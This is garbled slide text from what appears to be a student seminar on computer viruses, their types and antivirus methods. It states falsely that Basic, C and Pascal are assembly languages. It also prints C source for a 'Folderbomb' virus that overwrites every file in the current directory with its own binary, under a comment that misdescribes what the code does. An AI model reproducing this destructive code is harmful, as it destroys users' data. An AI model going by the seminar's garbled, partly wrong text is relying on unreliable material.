computer viruses and anti viruses by sasikumar
DESCRIPTION
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Contents Intentional Overview
Definition of Computer Virus ?
Who creates/writes viruses ?
Why people creates computer viruses?
How can they write virus codes?
Effects by virus Infection
How virus works
Major Types of Viruses
Boot Sector Virus
Examples for Viruses
Virus Prevention
Conclusion
Intentional Overview
A Computer Virus is a computer program
What is a Computer Virus ?
that can copy itself and infect a computer
Without permission or knowledge of the user.
Who creates/writes viruses ?
1.INFO
ATTACKERS
Who creates/writes viruses ?
Who creates/writes viruses ?
Who creates/writes viruses ?
INFO ATTACKERS
Why people creates computer viruses?
To attack the products of specific companies.
To theft the confidential info. To distribute political messages.
“Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby”
How can they write virus codes?
By using Assembly languages like Basic, c,Pascal e.t.c
What will happen if your computer
Infected by virusFunctions slower than
normalResponds slowly and
freezes oftenRestarts itself oftenSee uncommon error
messages, distorted menus, and dialog boxes
Notice applications fail to work correctly
Fail to print correctly
How virus works
MajorTypes of Viruses
Virus
Boot Sector Virus
Boot Sector Virus
Program/File
Infector
Program/File
Infector
TrojanHorsesTrojanHorses WormsWorms Macro
VirusesMacro Viruses Root KitRoot Kit
The boot virus affects the
booting process of the
infected computer system.
thus causing slow start up
and shut down process
Boot Sector Virus
Program/File Infector virus
Becomes active when the
program file carrying the
virus is opened.
usually with below extensions
.BIN .COM
.EXE .OVL
.DRV
Appears as interesting
program file but when
installed it allows
intruders to access and
read your files
Trojan Horses
Copies and multiplies it
self by using computer
networks and security
flaws
Worms
Programmed as a macro
embedded in
a document, usually
found in Microsoft Word
and Excel.
Macro Virus
Designed to take
fundamental control of
a computer system,
without authorization by
the system's owners
RootKit
Two examples for Viruses
Melissa Type : Macro virus
I Love YouType : worm
#include<stdio.h>#include<conio.h>#include#include#includevoid main(int argc,char* argv[]){ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);cprintf(”————————————————————————–”);printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan([email protected])\n”);cprintf(”————————————————————————–”);done = findfirst(”*.*”,&ffblk,0);
while (!done){ printf(”\n”); cprintf(” %s “, ffblk.ff_name); printf(”is attacked by “); cprintf(”Folderbomb”);source=open(argv[0],O_RDONLYO_BINARY);target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);while(1){byt=read(source,buf,512);if(byt>0)write(target,buf,byt);elsebreak;}close(source);close(target);done = findnext(&ffblk);}getch();}
/*This is a simple virus program to create a virus in cIt will create Folder in a Folder in a Folder and so on ......*/
Virus Prevention
Sources of Viruses
Removable Data Storage Devises
Internet
Anti-Virus
How does an Anti-Virus work ?Scanner:
Detects the virus by using a list of existing virus
signature/definitions.
Monitors:
These are memory resident programs and alert
when any changes find in executable program.
INTEGRITY CHECKING PROGRAMS: To execute any virus must integrate with
a executable program.so it checks for virus code
integration
Better than
Conclusion
Prevention is
Cure
Thank you
A seminar by sasi